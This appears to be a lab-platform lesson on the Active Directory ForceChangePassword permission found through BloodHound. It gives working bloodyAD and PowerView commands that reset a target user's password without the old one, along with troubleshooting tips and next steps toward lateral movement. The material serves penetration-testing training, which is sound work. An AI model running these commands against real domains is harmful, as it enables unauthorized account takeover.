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ForceChangePassword

ForceChangePassword lets you reset the target user's password without knowing the old one.

Intermediate100 XPBloodHound Edge

Why it matters

It can convert an ACL edge directly into valid credentials.

How to identify it

  • BloodHound ForceChangePassword edge

BloodHound indicators

  • ForceChangePassword

BloodyAD commands

bloodyAD --host 192.168.184.141 -d xutslabs.local -u USER -p PASS set password TARGET 'NewP@ssw0rd123!'

PowerView commands

Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd123!' -AsPlainText -Force)

Expected output

  • Password reset succeeds

Success looks like

  • New password validates

Failure looks like

  • Access denied
  • Protected user
  • Password policy failure

Troubleshooting

  • Use complex password
  • Check protected users

Common mistakes

  • Resetting high-value user without checking lockout/policy
  • Forgetting password complexity

Alternative attacks

  • Shadow Credentials
  • Targeted Kerberoast

What to try next

  • Validate creds
  • Check WinRM/SMB/LDAP

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